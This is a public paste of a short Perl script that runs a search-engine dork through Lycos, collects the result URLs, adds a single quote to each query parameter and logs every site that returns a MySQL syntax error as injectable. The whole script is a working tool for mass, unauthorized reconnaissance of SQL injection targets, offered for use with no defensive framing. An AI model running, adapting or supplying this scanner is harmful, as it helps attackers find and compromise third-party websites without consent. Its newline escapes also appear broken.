Public paste
Undefined
By: all_lycos.pl | Date: Apr 24 2009 10:21 | Format: None | Expires: never | Size: 1.34 KB | Hits: 828

  1. use strict;
  2. no warnings;
  3. use LWP::Simple;
  4. require LWP::UserAgent;
  5.  
  6. my $ua = LWP::UserAgent->new;
  7. $ua->agent('Mozilla/5.0');
  8.  
  9.  
  10. #"http://search.lycos.com/?query=test&page2=0&tab=web"
  11.  
  12. print "insert dork: ";
  13. my $dork = <STDIN>;
  14. _lycos_search_();
  15.  
  16.  
  17. sub _lycos_search_ {
  18.         chomp($dork);
  19.         my %seen;
  20.         my $page = 0;
  21.         my $content = "leer";
  22.         while( $content !~ /There are no WEB results for this search term/ ) {
  23.                 my $url = "http://search.lycos.com/?query=".$dork."&page2=".$page."&tab=web";
  24.                 my $response = $ua->get($url);
  25.                 $content = $response->content;
  26.                 while( $content =~ m/<a href="(.+?)" onmouseover/g ) {
  27.                         my $act_link = $1;
  28.                         next if $seen{$act_link}++;
  29.                         print "$act_linkn";
  30.                         my $substr = '=';
  31.                         for(my $position = 0; ($position = index($act_link, $substr, $position)) >= 0; $position++) {
  32.                             my $link_copy = $act_link;
  33.                             substr($link_copy, $position, 1) = "='";  
  34.                                 my $site2 = get($link_copy);
  35.                                 print "Checking: ".$link_copy."n";
  36.                                 unless( $content eq $site2 ) {
  37.                                         if( $site2 =~ m/error in your SQL syntax/i ) {
  38.                                                 print "INJECTION: ".$link_copy."n";
  39.                                                 _output_($link_copy);
  40.                                         }
  41.                                 }
  42.                         }
  43.                 }
  44.                 $page++;
  45.         }
  46. }
  47.  
  48.  
  49.  
  50. sub _output_ {
  51.         my $param = shift;
  52.         my $output = open(FILE_OUT,">> output_injection.txt") or die "$!n";
  53.         print FILE_OUT $param."n";
  54.         close(FILE_OUT);
  55. }